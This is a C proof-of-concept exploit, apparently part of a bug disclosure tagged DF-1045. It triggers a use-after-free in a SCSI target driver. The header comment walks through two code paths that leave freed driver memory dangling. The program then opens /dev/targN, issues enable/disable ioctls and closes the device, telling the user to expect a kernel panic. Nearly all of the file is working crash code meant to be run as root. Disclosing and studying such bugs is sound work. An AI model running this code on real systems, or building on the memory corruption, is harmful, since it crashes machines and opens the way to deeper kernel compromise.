DF-1045 / tgt_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 | /* SPDX-License-Identifier: BSD-2-Clause * DF-1045 PoC: SCSI target driver targclose UAF. * * Two variants are exercised here: * * (A) SUCCESS-PATH UAF โ open + TARGIOCENABLE (target-capable HBA) + close. * close -> targclose -> targdisable (aborts any pending ATIOs back to * user_ccb_queue) -> kfree(softc) at line 240 -> cam_periph_release -> * targdtor -> TAILQ_FIRST(&softc->user_ccb_queue) on freed memory at * line 541. * * (B) EARLY-EXIT / CROSS-INSTANCE UAF โ open + TARGIOCENABLE + * TARGIOCDISABLE + close. close takes the early-exit at line 216 * (state lacks TARG_STATE_LUN_ENABLED, periph != NULL) and kfrees * softc while leaving periph->softc dangling in the still-registered * periph. A second process then opens /dev/targ1 and issues * TARGIOCENABLE on the same (path_id, target_id, lun_id); targenable * retrieves del_softc = periph->softc (freed) at line 446 and * dereferences it at line 447 -> panic. * * Build: cc -o tgt_uaf tgt_uaf.c * Run as root on a system with a target-capable SCSI HBA (e.g. ahc/ahd/mpt * with target-mode enabled). Variants A and B both panic the kernel. * * To run variant B (cross-instance), launch this program twice with the * --disable-then-close flag in process A on one tty and without that flag * in process B on another tty. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> /* The real header lives under <bus/cam/scsi/scsi_targetio.h> in the source * tree; on a running system it is typically installed at * /usr/include/bus/cam/scsi/scsi_targetio.h. We declare the ioctls and the * enable-lun argument inline to avoid include-path friction. */ #define TARGIOCENABLE _IOW('C', 0, struct ioc_enable_lun) #define TARGIOCDISABLE _IO('C', 1) struct ioc_enable_lun { int path_id; int target_id; int lun_id; int grp6_len; int grp7_len; }; static void usage(const char *prog) { fprintf(stderr, "Usage: %s <path_id> <target_id> <lun_id> [--disable-then-close]\n" " path_id/target_id/lun_id come from `camcontrol devlist`\n", prog); exit(1); } int main(int argc, char **argv) { int fd, rc; int disable_then_close = 0; struct ioc_enable_lun lun; int argi = 1; if (argc < 4) usage(argv[0]); memset(&lun, 0, sizeof(lun)); lun.path_id = atoi(argv[argi++]); lun.target_id = atoi(argv[argi++]); lun.lun_id = atoi(argv[argi++]); if (argi < argc && strcmp(argv[argi], "--disable-then-close") == 0) disable_then_close = 1; /* Try /dev/targ0, then 1, then 2 ... */ char path[32]; for (int unit = 0; unit < 16; unit++) { snprintf(path, sizeof(path), "/dev/targ%d", unit); fd = open(path, O_RDWR); if (fd >= 0) { fprintf(stderr, "[+] opened %s fd=%d\n", path, fd); break; } } if (fd < 0) { perror("open /dev/targN"); return 1; } rc = ioctl(fd, TARGIOCENABLE, &lun); if (rc != 0) perror("[!] TARGIOCENABLE (need target-capable HBA)"); else fprintf(stderr, "[+] TARGIOCENABLE ok\n"); if (disable_then_close) { rc = ioctl(fd, TARGIOCDISABLE, NULL); if (rc != 0) perror("[!] TARGIOCDISABLE"); else fprintf(stderr, "[+] TARGIOCDISABLE ok โ close will early-exit and " "leave periph->softc dangling\n"); } /* Trigger the UAF. */ fprintf(stderr, "[+] closing โ expect kernel panic in targdtor at " "scsi_target.c:541\n"); close(fd); return 0; } |